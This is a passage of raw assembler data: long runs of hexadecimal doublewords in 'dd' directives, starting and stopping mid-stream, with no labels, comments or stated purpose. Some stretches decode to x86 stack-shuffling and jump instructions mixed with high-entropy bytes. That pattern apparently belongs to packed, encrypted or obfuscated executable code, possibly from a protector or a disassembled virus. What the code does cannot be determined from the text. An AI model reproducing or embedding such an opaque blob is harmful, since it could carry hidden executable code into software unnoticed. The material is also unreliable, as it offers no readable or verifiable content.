96096DCEh, 4EFC4F54h, 0E9598C05h, 278B1E60h dd 4FB33686h, 78DCEFAEh, 577845DEh, 7745BCB7h, 3E0B0474h dd 77EA89D7h, 264CF958h, 71F0517Ah, 3582310Fh, 0D8980F79h dd 7BEE61C5h, 264CF554h, 84F4557Eh, 514F8h, 38E42300h dd 0FD30A31Ch, 952C58DCh, 0B0575226h, 1F7ADEE1h, 0BAFC45BEh dd 65D87B9Ch, 0DFBF126Ah, 0E5CD3F68h, 0BE47B734h, 0F66AE9F0h dd 32CF33D1h, 664BC9A8h, 43D0AEBh, 54B8C38Dh, 2B0989F9h dd 9F9BBB5h, 3D7CC192h, 8AEB46AAh, 538E1Ah, 0E4B90000h dd 35A8213Fh, 264C7F1Ah, 0F0FBC53Ch, 94F82180h, 0B3E198F7h dd 0BEC19046h, 0D5F9B95Ah, 0B5A90AA0h, 266C704h, 2E921561h dd 0B78449D3h, 6C391A96h, 0E8F3BC33h, 39B92984h, 58CD115Bh dd 1008h, 0D2563300h, 97000001h, 0DC69DB55h, 0FC6CC458h dd 213FE4B3h, 0EB9A20BDh, 96D99FB8h, 68C36154h, 499BCE98h dd 3969DB0Fh, 0E2DB4BF5h, 0DED9B715h, 2486FFC8h, 0B1000000h dd 0BD213FE4h, 0B8EB7B20h, 0F982CD9Fh, 25A0F495h, 754273C1h dd 2AF7D854h, 0C892EECCh, 619DFFh, 1BC80000h, 0FD143D9h dd 7BD63A41h, 43F0F109h, 7E9A41D3h, 95BD9205h, 2299264Ch dd 8FEA4E5Dh, 3B97C01Fh, 43A765BFh, 0BE94714h, 0B87935A9h dd 2Fh, 213FE4E3h, 7F6435A8h, 0D36264Ch, 0FE9C26F0h, 27C82CBFh dd 0D3EF5358h, 3A50713Eh, 8462C08Dh, 337934FFh, 7, 11F565Eh dd 1BA90000h, 6BCFDAA4h, 0E080A010h, 0C1000000h, 7FCA0578h dd 0DF08264Ch, 3FE4266Fh, 8620BD21h, 0CD7B9CC2h, 0E3C11FECh dd 9023E4BBh, 90h, 213FE4BBh, 7F1A35A8h, 0F38264Ch, 0ACA50EABh dd 15F6466Ch, 0CF0CEA48h, 62BB5914h, 0D4000000h, 2A8E195Dh dd 55B6C989h, 0D21B9CE5h, 4C7F705Fh, 0C9396226h, 0FB749037h dd 4C7F4788h, 144D8F26h, 25494DE0h, 20ABF49Bh, 92F161BCh dd 50920569h, 1BC20D83h, 57682954h, 0AA0186F6h, 0E9936C82h dd 0FFDD3B08h, 0AC0C1500h, 24h, 68004EC5h, 0CBFA97FBh dd 45BE1F19h, 0AC98FDD2h, 3CACD5B4h, 31D91BF3h, 84CE3247h dd 6292B222h, 0E5000000h, 80D2A3EDh, 0E1429D01h, 7FECE07Dh dd 0FEBC264Ch, 96E687EBh, 7C15AF13h, 750848AFh, 0A673DC14h dd 0EB6A713Fh, 0DDF265AEh, 0F5264C7Fh, 0E4135CCCh, 3A04213Fh dd 60D7E6EBh, 221B8B1Eh, 8C9BF255h, 5ED7264Ch, 87FA99E7h dd 0D9B38C48h, 9000618Ah, 34F33310h, 0FF00DE79h, 5609FFFFh dd 2A9h, 48D91BA9h, 5D2A59E4h, 7D43CC3Ch, 0F2566928h, 1EA1F097h dd 0A4E659BDh, 0E2E83BE1h, 0FD86F63Dh, 35A928B3h, 0EDE255E9h dd 0E5264CB4h, 414A15BCh, 0A82182DDh, 53441535h, 0BA1E472Ch dd 0B5C4361Dh, 27BAFADFh, 4F5222C3h, 0F08B7FEBh, 0D130F9CCh dd 0AACB9831h, 22804D2Eh, 732E3944h, 4BF3h, 38E41E00h dd 1C30A31Ch, 3A2C53AFh, 7A863BF8h, 0F36C4418h, 0B42D4F80h dd 0EA5A83DFh, 0A7E9628Bh, 9613E696h, 76BC2CCFh, 0B4AAF2D9h dd 3300E1DFh, 693C83FAh, 0DB369A2Dh, 4BBB167Ah, 2DD0EDCBh dd 0B54CB73h, 0BF841080h, 0AF000000h, 0B418A3EDh, 32314113h dd 0D9A233F2h, 40B31778h, 7DF689C9h, 4CB0C50Ah, 74E40D26h dd 9D16A5EBh, 0AD545726h, 276DDDEEh, 32B13886h, 0AC3F7EF5h dd 0D5D6A748h, 657F0474h, 8D264C4Bh, 0C539B8C3h, 0E2E9B719h dd 49C2237Eh, 0DB6E9E07h, 0D545A133h, 1DEF317Ah, 0BCF51E86h dd 8FF0F3C3h, 9BC59A1Fh, 648D2C56h, 5D2674EBh, 0C9248813h dd 3C7EE968h, 772D2295h, 0FC25DFBBh, 2CE8F69Bh, 1EF019A2h dd 4AFE6h, 72754000h, 0B6C988F3h, 0F883CC37h, 3E4D0E79h dd 830654BFh, 826B9704h, 0C732B130h, 0A75F4F7h, 51BC3B4Eh dd 0EFD7C0Fh, 1799B629h, 87B92040h, 1CAFED32h, 5D6C329Dh dd 0A3EDB3DEh, 58FF82D2h, 0BF238417h, 0CA49501Eh, 158EB656h dd 53826EA2h, 66AAEC2Ch, 0CCA76947h, 0C1EA49B9h, 0FC8FD148h dd 0A4A9468Ch, 8BDFB445h, 75EC25F2h, 0B92CA526h, 0DFB44596h dd 912393BCh, 0DD50C94Dh, 0D5ABB831h, 0A81FA23h, 66C7374Ah dd 0B12A2AF2h, 0A9EBF33Eh, 17AA3DFh, 717241B8h, 9840B20Dh dd 685BDB1Ah, 2B74FD6Dh, 0EFBA21A0h, 0BBCBA8E1h, 99B62972h dd 0B9CBA8E1h, 0E1E2ED90h, 0B6F0CBA8h, 957352B0h, 1686E756h dd 3FBEC98Dh, 633Dh, 0B6077E00h, 676D135h, 7FDAF1BDh, 85FC264Ch dd 400EB536h, 0A7AD539h, 35B45078h, 0EA99B6F8h, 0AEC0B2DCh dd 4C89143Bh, 0B4153E26h, 0E7F4BB44h, 9DB2256Eh, 0B5264C89h dd 63D61C8Ch, 36A13521h, 64D42A80h, 4C43F0DFh, 4310D526h dd 890893DCh, 48095A1Eh, 0D572D637h, 264C43F9h, 0B41BE8EFh dd 3B66E5E0h, 87F9D91Bh, 0FF66ABFAh, 37B2068Fh, 636632D3h dd 0FFCC65FFh, 3EB1DC98h, 264C1311h, 386D241h, 71E3449Fh dd 0A98F968Eh, 1B9AFB6Fh, 4CE793B4h, 0EB62DB26h, 32CB0AA8h dd 652E110Eh, 37149404h, 0E2793524h, 0FFFFFF5Dh, 18A3ED0Dh dd 8BCA41B4h, 0B1FF88F8h, 0B21396E4h, 0F71FBF33h, 21B9077Eh dd 0DF518CF0h, 60D03170h, 0E5B29205h, 35A42C53h, 0A1056661h dd 0B525CF04h, 5E2B0CDFh, 2E5A2200h, 4DD173h, 0E4FC0000h dd 0BB88D638h, 2C87EBF8h, 0A8F16ACBh, 8D90566h, 9A0AF0B6h dd 53693915h, 8EF21B2Ch, 0B5E9DAF1h, 0FD8CCEDFh, 15B9F899h dd 26FB80FAh, 0C72B8CCDh, 284916ABh, 1A2769ACh, 0C663878Fh dd 7F4C45B5h, 2EC74321h, 0B7F073h, 0ED1B0000h, 428D00A3h dd 90264C7Fh, 1A20667h, 2BCC30B3h, 0DA5A4565h, 0CB1FB99Bh dd 1B65066Ah, 1276054Ah, 70D756B7h, 264C916Ah, 2AA9307Eh dd 0DAA4F1BFh, 0AF106BCFh, 0D97DA14Bh, 0B545ED60h, 6E972C53h dd 0B3537BEFh, 0AEAFF13Ah, 0B3EEABFEh, 0A6FF84F4h, 0F8D5AE85h dd 9DDF56CFh, 9528F0Eh, 0A283B996h, 7099D5h, 1A62577h dd 13BBD8F9h, 39E31BEDh, 0B6000002h, 0FE69E8E3h, 42AD2CBFh dd 84EF6E7Dh, 0CA35B437h, 0D7AF988h, 2BBEFCF5h, 6E7141ACh dd 0B53084EFh, 0F685CB36h, 30A38877h, 2040151Fh, 0EDAC0133h dd 329D1CAFh, 0A2E45D6Ch, 66C52742h, 67C8380Eh, 1C38E43Ch dd 0AF1C30A3h, 0F13A2C53h, 0B4AF517Eh, 0A6038CDFh, 0C2A9EE42h dd 4DAC1C45h, 2823C024h, 0DFB4C8h, 2ACB2FB2h, 5BF55968h dd 58D4F5C2h, 6E4CAA77h, 1D732DB2h, 108h, 0F0FBBF36h, 45B8318Ch dd 0DFB4C40Ah, 66AF1F48h, 86D2A3EDh, 0B92C9F03h, 264C7F96h dd 0D13293BCh, 0FB8ECC6Dh, 89C63982h, 0C9264C7Fh, 9BB427A0h dd 0B7264C7Fh, 3BD81E8Eh, 264C8421h, 2CBF0077h, 41B13A85h dd 64E3F6B8h, 0C024B7F9h, 553DF616h, 911261ECh, 2C60D22Dh dd 0B1422F64h, 7B37A9BFh, 212EA11Ah, 31D9B341h, 0BB2EA708h dd 0D3AC9B33h, 3A082769h, 0B0905E8Dh, 39B8E140h, 0BBEC19C5h dd 0A5DBA70h, 297D3FB1h, 0EA83A3Eh, 5BC134ADh, 19D5AE89h dd 0B20077F0h, 7745B02Fh, 0DB55CF74h, 0DBAD13BBh, 113A3h dd 0E99DC00h, 5255248Fh, 942768D3h, 0DAE9AA15h, 1FA2F05Bh dd 16CF33A0h, 5BC64544h, 9E09881Bh, 0E550CFDAh, 0A291109Bh dd 14054ABDh, 1B4D2040h, 0DAA41BC6h, 56BACD89h, 33289AFBh dd 852A329Ah, 0B7058EFEh, 2F78B534h, 4CE393BCh, 2696BF26h dd 39B0D39Dh, 8AC5687Bh, 0C8264CE3h, 94BF3E9Fh, 0B418A3EDh dd 0C53E4D13h, 14EA0483h, 83DE4245h, 535A0111h, 0CE0E82E3h dd 935ACD46h, 0C72C588Ch, 0A96F0350h, 0E0EBAA93h, 0C73A9EFFh dd 0BFE17B54h, 0CD2E57DFh, 0E7575226h, 88FB5F88h, 0E183CC3Fh dd 0DAA5DFBFh, 0BB2B54D1h, 0DE5D6C32h, 3A9E2D73h, 0C40B7EC7h dd 0EDFBFE1h, 57F075E5h, 51883F73h, 7C1D8102h, 0BF43A732h dd 0B80C2DFAh, 0D53BA87h, 4FDCF366h, 0CDF6883Fh, 4FEEE154h dd 0BBE4883Fh, 2E70DB5Ah, 0C596379Bh, 91044DC6h, 883F4FBEh dd 3195246Ah, 0C03059D6h, 6431F67Ah, 9D10B3FDh, 883F4FB2h dd 971677A0h, 0F357622Ch, 3BBh, 956A0E00h, 0BB1FA8EDh dd 0E145541Ah, 0D717440h, 35992C6Ch, 5FC3C694h, 89EDFCBEh dd 0B418ABE8h, 0DB3F4C13h, 4687B3Ah, 4EC8190h, 89000000h dd 0E589242Ch, 4C581h, 0ED830000h, 242C8704h, 5E56685Ch dd 0C890000h, 0E2895224h, 4C281h, 0EA830000h, 24148704h dd 241C895Ch, 57D568h, 241C8900h, 29160168h, 0C3815B6Ah dd 15922D16h, 8104E3C1h, 0B86FFAF3h, 5BD989FDh, 241C8B54h dd 5204C483h, 24048151h, 7C36783Fh, 3FEA815Ah, 897C3678h dd 0FF5A0853h, 815B2434h, 4C4h, 240C8B00h, 81E28952h, 4C2h dd 4C28300h, 5C241487h, 0FBD2D9E9h, 83679FFFh, 7190E631h dd 0F436197Dh, 27B822C6h, 3060C6Dh, 3AE0FFC5h, 0BC47F203h dd 0DC486F1Bh, 0CD0CD331h, 0F53B0580h, 8B2BED75h, 0C2474373h dd 44CC38h, 0B47C513Fh, 10E9D8Dh, 0E67552D4h, 0E055667Ah dd 9E33F7CBh, 55283247h, 915F7806h, 0DD781689h, 5E05C791h dd 91788CEEh, 1049D502h, 0C3414E5Ch, 165BAAAh, 1B4D09A3h dd 30E2A87h, 8D497EA9h dd 0C6ECC8Dh, 91858B06h, 0BE060710h, 3AD18F9Ch, 6798D89h dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 0C70C22C3h, 72CE585h, 6C6806h, 0F9B70F00h dd 2D0585C7h, 607h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0FF1311C3h, 721C9B5h dd 91B58906h, 60060720h, 0B99D3153h, 5A06071Fh, 1A79952Bh dd 0FF610607h, 700BD95h, 68C0F06h, 2B000000h, 730F185h dd 19D8906h, 6A060716h, 0B595FF00h, 8B060716h, 7509EBC0h dd 27B378Ch, 0E341C0DBh, 60EBh, 17h dup(0) dd 7DE90000h, 0E900000Bh, 0B71h, 0C76FE68h, 0C1CE906h dd 6068FFFBh, 0E9060C78h, 0FFFB0C12h, 0C78CE68h, 0C08E906h dd 0AF68FFFBh, 1400CEACh, 759B6947h, 0D83A08E6h, 3ED7A583h dd 0C8A43F1Dh, 7755060Fh, 10EE6DA9h, 0AC8AD142h, 4A2833DEh dd 2B0D9478h, 0B084D3DAh, 120437D6h, 681744CCh, 55C10F45h dd 0B75A2806h, 1500BEA4h, 0F7D96046h, 7C7EC76Ah, 9D9B5639h dd 22536DFh, 0E10457BEh, 0C4886B1Ah, 0A5E90C4Fh, 83C7EA71h dd 25E3C992h, 5496CEFh, 61284B10h, 0D014CFB2h, 6B301645h dd 6A803BE7h, 0EBCD5477h, 707EC85Eh, 0D94B7E2Dh, 657C0AF4h dd 0C70BC6A9h, 0A9ED104Bh, 8DD1F467h, 0A2B95787h, 49D0D0F3h dd 2E24AB91h, 0EA78BB20h, 8E71EA2Ch, 2AE8CE11h, 99371EAh dd 61E8CE14h, 78BB4083h, 569ABD00h, 6CEF23BBh, 500B0549h dd 8B7662Dh, 8C4ABB2Ah, 2CF0D388h, 0DA976E5h, 0FD74828h dd 29E35242h, 0DB88BD6Ch, 371Fh, 0A26F2D00h, 4871D6B9h dd 0DD7E92D7h, 0C34A612Eh, 7EC76AE1h, 783D2366h, 0AB94328h dd 13785B73h, 1004EB4Ah, 0A17B7E4Bh, 6BC0A229h, 2457EC7h dd 3A4CBA1Fh, 0E9000000h, 0D3888C4Ah, 37EF70F0h, 0E1C34A6Ah dd 597EC76Ah, 6A7661B3h, 40D80B4Bh, 743B5E0Dh, 0D24AF8C5h dd 3C6260Dh, 0E3C692A1h, 4BD24A7Eh, 7EC76B69h, 4C8ABEEh dd 7B7E4B10h, 9D148BAh, 0ACAF6523h, 8DC44BC9h, 0C978BF97h dd 3FE8CA51h, 2A6D78C0h, 6487CA47h, 0C0408157h, 1A610F78h dd 8FDCA0E5h, 1BFEBE4h, 48120000h, 0A0270DD5h, 7EC76BF6h dd 0A334743Bh, 0FF197EB5h, 28E92D50h, 4E65533h, 0AA684E0Dh dd 83CEF16Ah, 1C8671EDh, 0EFD28159h, 48280D8Ah, 52420FD7h dd 510A0CCAh, 1F84672Eh, 88BD6C29h, 481FDBh, 4A460000h dd 6B694BD2h, 0B0A07EC7h, 0BC1991F7h, 5336795Eh, 0C59248D3h dd 0B07C854Ah, 99DA341Dh, 0D24A2CB3h, 8CCF7EC7h, 0C2A42BA9h dd 477EC7D1h, 0EB4A3704h, 7E4B1004h, 31E3A17Bh, 4AE2472Ah dd 0F1D4878Ch, 2975h, 0D7481200h, 0FE64290Fh, 78085B05h dd 4A157A5Dh, 0C76AE1C3h, 4A30597Eh, 6B694BD2h, 0ABEE7EC7h dd 0EB4A63C8h, 7E4B1004h, 854ABA7Bh, 770E836Dh, 57D7BAE1h dd 0B33A20C6h, 7EC82B0Dh, 0A0E4074Ah, 9D0CEA71h, 0D2898C4Ah dd 0F1E62BEFh, 0C6A940C8h, 0EA6D1B47h, 484E87BAh, 0D3704B3h dd 0FC854A28h, 49B9D44h, 0B187B9ECh, 0FB5DAA5Ch, 28879818h dd 0C7CEBFA1h, 5201447Eh, 898C4A85h, 5E8AFD2h, 0D24A208Fh dd 0C76B694Bh, 0C8ABEE7Eh, 88BD6C29h, 4C1FDBh, 682D0000h dd 0B65EFE83h, 7B5DE4AAh, 7BC7A5h, 0C62B0EBDh, 420FD748h dd 6AE1C34Ah, 23667EC7h, 8A8C4A56h, 4E7AED1h, 10042786h dd 66ED654Bh, 7EC76B84h, 7EE3C609h, 30E3A17Bh, 8BD0AAA7h dd 0DD8C725Fh, 0AB10F3BAh, 4E4Ch, 0D748E900h, 8C4A420Fh dd 6BAFD289h, 2104B3A8h, 6B3A1CA3h, 89B27EC7h, 2D2EE5A3h dd 0FC17430Ah, 92753C5Fh, 848C4A2Dh, 0AEDB4D7h, 0A64F148Ch dd 6B4DD4B4h, 0F07EC857h, 667D7AADh, 440A588h, 0ED654B10h dd 0C76B8466h, 0E3C6097Eh, 4CBA7B7Eh, 0C3h, 0DD548E9h dd 6BF6A027h, 0F83B7EC7h, 31139A12h, 0B67EC76Bh, 91D59073h dd 8EFDDB80h, 8CE0854Ah, 0AFD28988h, 0EB81B5E8h, 0D23F03E6h dd 280DBC89h, 8492D748h, 525B28D7h, 52090CCAh, 2085682Fh dd 88BD6C29h, 4A1FDBh, 48460000h, 4A420FD7h, 0C76AE1C3h dd 0E99F667Eh, 754C189h, 11EA1DE4h, 0D8A554C9h, 694BD24Ah dd 0EE7EC76Bh, 0EB4AC8ABh, 0D6858C4Ah, 76E52FF3h, 9713CB90h dd 959FD0D4h, 0A17B4DB2h, 6BC0A229h, 2457EC7h, 304CBA1Fh dd 0E9000000h, 420FD748h, 6AE1C34Ah, 30597EC7h, 694BD24Ah dd 0EE7EC76Bh, 0C6957FABh, 0EB4A7EE3h, 694BD24Ah, 0EE7EC76Bh dd 0CA917FABh, 6AF123E7h, 4BA7B9Dh, 0E72B4E0Dh, 83512F2Ch dd 2D0F968Eh, 647EC76Bh, 975993F8h, 910BF084h, 0C78F280Ah dd 0BB6AAD7Eh, 4DCE90Ch, 727EC78Fh, 0EBA9BF04h, 470E312Ah dd 0EA71A064h, 58423F04h, 953D30A3h, 0A36E3CB2h, 0D74095B8h dd 5073E82Eh, 2E510A0Ch, 5FB007CFh, 209CBF4Bh, 9BD68589h dd 0F71AC4BBh, 5EB32BE7h, 642B4EFDh, 0D44DD7B5h, 1DA48091h dd 7EC7953Bh, 1FCE7DC0h, 0C17BB239h, 0F9B778BFh, 0FE164219h dd 0BAFD7A5Dh, 60FB16D4h, 0D893763Dh, 62F91CDAh, 895783Fh dd 78C06A32h, 96AD12C0h, 0E48FB2EFh, 0E972A15Fh, 0DB1CFFC6h dd 12h, 4E0D0402h, 6B3C1E2Bh, 44B27EC7h, 0ED6EA37Fh, 0D04A00Fh dd 6BAE9017h, 0F0337EC7h, 3B1E1E41h, 0E476FDE3h, 0E978BADAh dd 0DB3EC8A6h, 0E0A51D03h, 0B45F15F9h, 8ABD84A7h, 93BF0F6Ah dd 6AF7DA81h, 72B34633h, 0FD0A2D70h, 72B3EF27h, 0ACB007B5h dd 0EECBAD34h, 0D5072B3h, 2DFA8B2Ah, 2891EA9Ch, 0B8000000h dd 694BD24Ah, 0EE7EC76Bh, 0D548C8ABh, 0EEA0270Dh, 327EC76Bh dd 9ABD9E74h, 3073F0D3h, 0D7848C4Ah, 4D73F9h, 48100000h dd 8EEE89D5h, 0F84C73B3h, 36DC6349h, 727EC7BFh, 0BF9173FAh dd 56167EC7h, 0BEE9DBEh, 0AB8D148Eh, 2F7EC7BFh, 0C7BEC6A8h dd 23084B7Eh, 8D4B31E0h, 0A03D5483h, 0EA473FCh, 58809FA1h dd 5F0EBDE2h, 2A34F981h, 0C2EC762h, 4A0B7053h, 8FC2F285h dd 1B528F4h, 633366CAh, 0A925086Fh, 18Ch, 0BD34846h, 4A280D3Eh dd 6B694BD2h, 74EE7EC7h, 0C76B0BEDh, 9E4D907Eh, 411AF7BBh dd 29E35274h, 0DB88BD6Ch, 5A1Fh, 0D24A4600h, 0C76B694Bh dd 0EF6CA77Eh, 769BC70Ah, 9D8202E5h, 0ED104BC8h, 57BBF326h dd 0C78BA63Ch, 0C34A4B18h, 7EC76AE1h, 7F3D2366h, 0A9A7CA91h dd 0C76B4022h, 0D382C57Eh, 0EB4A8BF0h, 0B755854Ah, 237D36h dd 0A4B7591Dh, 4ABA7BD7h, 6B694BD2h, 0ABEE7EC7h, 404CC8h dd 48E90000h, 4A3E0BD3h, 8792EA85h, 2356A331h, 0FD1EBC45h dd 0EF6D50CBh, 0C7C38668h, 35450A7Eh, 3D8ED6E3h, 0E08610F3h dd 0F566AB33h, 0AD5C0BD2h, 4EB4AE0h, 4A824F0Ch, 28C54B85h dd 0EDD07395h, 0D04DFA0h, 280D814Eh, 420FD748h, 6C29E352h dd 1FDB88BDh, 52h, 878C4A46h, 0EE71F1D4h, 0E00358BBh, 6B795BE2h dd 0BBFE7EC7h, 4A905D0Ch, 0C76AE1C3h, 3D23667Eh, 94C7947Fh dd 62BA66FFh, 0BF2407EFh, 0D4878C4Ah, 0B2A96DB1h, 3619C88Fh dd 0CD7B40B8h, 789D96C9h, 0F962B4E0h, 1004B116h, 0BA7B7E4Bh dd 354Ch, 8C4AE900h, 6BAFD289h, 0C88FB2A9h, 3823ED19h dd 0EB6B4E15h, 4ADDAA70h, 31830DD2h, 45DF6060h, 0CBF3D562h dd 0C56B7EC7h, 26ED104Bh, 0EB4AAA77h, 7E4B1004h, 0F04BA7Bh dd 6D2B294Ch, 81DA3AA4h, 5E8975Eh, 0C76BA178h, 0FCC3ED7Eh dd 71E6F122h, 5C0CD03Ah, 0D20371E5h, 0DBCD4F9h, 58BA785Eh dd 3BAA2003h, 294C0F04h, 0A2D2EE5h, 0A27C434Bh, 750CEA71h dd 7EC777DEh, 0E45B078Dh, 9241C95Ch, 894CF98Bh, 0FE4F90DEh dd 3BB7FFFFh, 7EC76B65h, 0C7697CD2h, 6A08E97Eh, 0A77D7EC7h dd 147EC76Ah, 7EC76A3Eh, 0C769D5ABh, 97CA4F3Eh, 4A30DF7Ch dd 0BD623AC3h, 0D9FC3FB8h, 0F91D40D9h, 0C9783F62h, 7C9D5CE3h dd 97DAB2B6h, 0A96B2760h, 0BDB91AD7h, 30Ch, 68461502h dd 3E17A9Ah, 0A280DB35h, 3F1D3ED4h, 0D9B7A471h, 6CA92E3Eh dd 0D34311EFh, 37DCAA88h, 99784624h, 2E12E4C2h, 0D3E0C5A7h dd 0D1704A84h, 2B4E0D04h, 0AF0362Bh, 0BADAFD83h dd 0D9B7FA78h, 5F7F9351h, 0BB82A5B6h, 0C69C290Ch, 4278BAFCh dd 0FC6143CAh, 0A3E678BAh, 1D940C0h, 6D9A941Bh, 1C5F72AEh dd 1300BE36h, 8E715348h, 0B3F672AEh, 1CDA52D0h, 434164F7h dd 0AE8DDABCh, 6D1C5F72h, 104BC68Ah, 0B2A96C2Ah, 280A918Fh dd 0AD72AE8Eh, 848FBB6Ah, 0AEDB4D7h, 104BC694h, 492BB22Ah dd 0CE72AE8Eh, 0AAB15F8Bh, 22DDC087h, 0AE8E3715h, 72A8B172h dd 0FD77058Ch, 0B4746CA1h, 644AF962h, 1F8365ECh, 0C5086CA2h dd 6BA664E2h, 128A12F0h, 0A21FA98Bh, 8EB2E6Ch, 0D057CD44h dd 6CA21EEEh, 9B813073h, 0CB5B6AD6h, 9B814224h, 0A24A3214h dd 9174B76Ch, 9B43D6D6h, 0B99C2EB5h, 5EA16695h, 263B3Bh dd 4C9D931Ah, 94596089h, 853BA77Eh, 4224ABFFh, 0C7608A08h dd 67A9D584h, 270AD1F4h, 0C38167AAh, 612F0D4Eh, 7B88ABB0h dd 60891EA5h, 0AEAD6321h, 0E8CB9082h, 4329F168h, 7D5D36BCh dd 0CDF0335Ah, 5A0111CFh, 0D8D7037h, 61E8CE14h, 5475AA3Eh dd 0C8C90043h, 7935E984h, 1AA1C18h, 0B3640000h, 18FCCAA8h dd 79976543h, 0DC3604E2h, 42D3A17Fh, 0CCA03B19h, 73510A0Bh dd 0CEA71A5h, 0A886D53Eh, 462437DAh, 27099074h, 0AC84D3E3h dd 0D14833D2h, 169C2309h, 1378BADBh, 37AFADD0h, 0BAFBCEB0h dd 0FC60578h, 2B65CEA3h, 0A0200346h, 0BD7B61B9h, 0A3210457h dd 0B3A86D2Bh, 0CE7443D0h, 0AEF172B2h, 0AC492477h, 0C0BC1D17h dd 13Ch, 381645D2h, 0D3B1AA6Ah, 72500B05h, 0FED6EA4h, 0A987D441h dd 9C795E0Eh, 313E1BFh, 67AC7A58h, 0C94816F4h, 0FEE2B492h dd 0D3E39577h, 0A1401A84h, 2309D148h, 0BADB0E9Ch, 0C54B0B78h dd 9625DF12h, 0A15027EDh, 868BCFF2h, 0E829F7D5h, 8E3D1EF6h dd 0B3F66B6Bh, 47CEFA61h, 7B2AF114h, 203BD795h, 3E38BF3Dh dd 272AEA1h, 0A389D244h, 0AEC13A1Ch, 997CBF72h, 35F3D91Ch dd 21977AE1h, 0B89A2199h, 3D72AEC1h, 0C15317FAh, 4164F71Dh dd 1FEDCB7Ah, 0C6846AF1h, 27EE114Ah, 1200CE44h, 0DF9E6349h dd 5BB52Eh, 56E316DDh, 0DA5033E1h, 0DE7D9452h, 1579CCABh dd 0F0D3EE92h, 9472E92Ch, 2E0C4FC6h, 9321B660h, 1837082h dd 0FC5FB6E2h, 7D6312D9h, 49D054BFh, 72AF0C67h, 0C7FAA9ECh dd 4EEC3A0Bh, 46BC9F3Ah, 0D0E1F9BEh, 0BBDB5E82h, 5CFF14D8h dd 0FA61B07Eh, 93C84E1Ch, 0F0362BB5h, 4489830Ah, 8E4E6CA2h dd 85315186h, 0A6BC43F2h, 0E12548F7h, 0C74D2B30h, 24h dd 6A4CD34Bh, 0EF6CA180h, 4A64C9ACh, 6B694BD2h, 6EA77EC7h dd 99C508EDh, 0F8BFE279h, 8B496D15h, 8DF2D586h, 25481304h dd 82B30E1h, 0E90C4FC4h, 0C7EA71A5h, 0A6C99283h, 85A8B362h dd 678AD141h, 4B6EED23h, 2B4E0D07h, 0E389532Ah, 4C381h dd 0EB810000h, 4, 5C241C87h, 83242489h, 50042404h, 405E089h dd 2D000000h, 4, 5C240487h, 68243C89h, 28C9h, 56243489h dd 883F7EBEh, 0F6EE813Ah, 81492325h, 58AA24EEh, 8BF789EBh dd 0C4812434h, 4, 24348B54h, 5704C483h, 73C3BD55h, 6C011D48h dd 8F5D0424h, 6E810846h, 4873C308h, 2434FF1Dh, 4C4835Eh dd 5F2434FFh, 4C481h, 0B7E90000h, 0BEFFFB00h, 7A2FB8DFh dd 0C503060Ch, 13E8C38Bh, 8F000000h, 21BBA5CBh, 70B35397h dd 74B201C8h, 0AB09FE53h, 8B6614D3h, 66515ADEh, 0E815E381h dd 0B4C28159h, 0FC000066h, 1981BEh, 17810F00h, 0E9000000h dd 12h, 4C50E32Eh, 0FDF30719h, 0F15EBDA5h, 172A9F8Dh, 32FF6945h dd 58DF8B66h, 6E952h, 39870000h, 0F7AF260Dh, 14F0815Bh dd 0E8079E4Fh, 0Dh, 95153D04h, 8EEA26CEh, 432FE995h, 815FFC21h dd 0C8DC29F0h, 0C6C0816Bh, 511277D2h, 1880Fh, 59F50000h dd 1810F50h, 0FC000000h, 8B66028Fh, 4EA83CAh, 0DEB70F60h dd 3850Fh, 8B660000h, 0F4E61D7h, 0FFFF9985h, 3EF381FFh dd 8D02BD08h, 0C7C458Dh, 89F38B06h, 706798Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 81D5DE1h, 87BA075Ah, 79858B08h, 0C7060714h, 72CE585h dd 717806h, 0C75F5100h, 72D0585h, 6, 68A0F00h, 9000000h dd 727C18Dh, 0BDB5FF06h, 6A06072Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0FA9DC353h dd 0F995017Dh, 0FF060732h, 700BD95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0B731C262h dd 15880FD7h, 0E9000000h, 10h, 0A6BB048Eh, 6DA91A63h, 0A6ECA9BBh dd 0DB6A3ADEh, 95FF006Ah, 60716B5h, 4DEBC08Bh, 0BC8FA46h dd 3CAB9466h, 0A378596Ch, 20908F9Dh, 0F0B5082Eh, 26D6160Ch dd 1E58DAA2h, 0E5F720CFh, 0BE31ABB7h, 53547760h, 99E45DDEh dd 0AA83CA19h, 88271DE2h, 0A11354B7h, 0AA617D49h, 0EE1F0848h dd 0D7B8ECDBh, 47783D39h, 0E19FEA71h, 113E986h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 9BB8F0C3h, 52CDB37Eh, 0F90026Eh, 781h, 1880F00h, 0FC000000h dd 7D14B58Dh, 8160060Ch, 0BD26DBEEh, 0B740B91Bh, 8D617FD6h dd 0A4C7985h, 10E906h, 79630000h, 2FB6D54Ah, 303E6E56h dd 31FDE7C2h, 0D0FF6ED8h, 1820Fh, 0F8F90000h, 8A6060C3h dd 0F3F281D8h, 6124B727h, 8C6661F8h, 5E9D9h, 0FE5F0000h dd 0F92707Dh, 280h, 0F6616000h, 840F04C1h, 39h, 8BFB8BF5h dd 0AEC032CBh, 0CF2BFD75h, 0F92BD9F7h, 8B49D78Bh, 0CD00EBD9h dd 1013F20h, 74C00B00h, 0C708D18h, 0CB8BFA8Bh, 490A75A6h dd 1B8FA75h, 0EB000000h, 0EB008B09h, 0B8E4h, 60CF0000h dd 0B3DE8166h, 8B666030h, 14E9CAh, 0ADA10000h, 30454CDCh dd 0F80455A3h, 1FDDD896h, 0FF63A16Dh, 6161B54Dh, 2850F60h dd 60000000h, 830F6161h, 9, 0FA8B6660h, 0BE7FB866h, 4B85C761h dd 3F060C7Dh, 0E9000101h, 266h, 0D98C6660h, 0F04C1F6h dd 3584h, 0FF016A00h, 71B2DB5h, 1F858D06h, 0FF060A7Bh dd 0ED8589D0h, 8B060721h, 0CEFC1FEh, 6000068h, 6A006A20h dd 0D685702h, 0FF000100h, 721ED95h, 32E906h, 85C60000h dd 6072C05h, 30DF6856h, 0B5FFA9C5h, 60731ADh, 7B1F858Dh dd 0D0FF060Ah, 5ED8589h, 858D0607h, 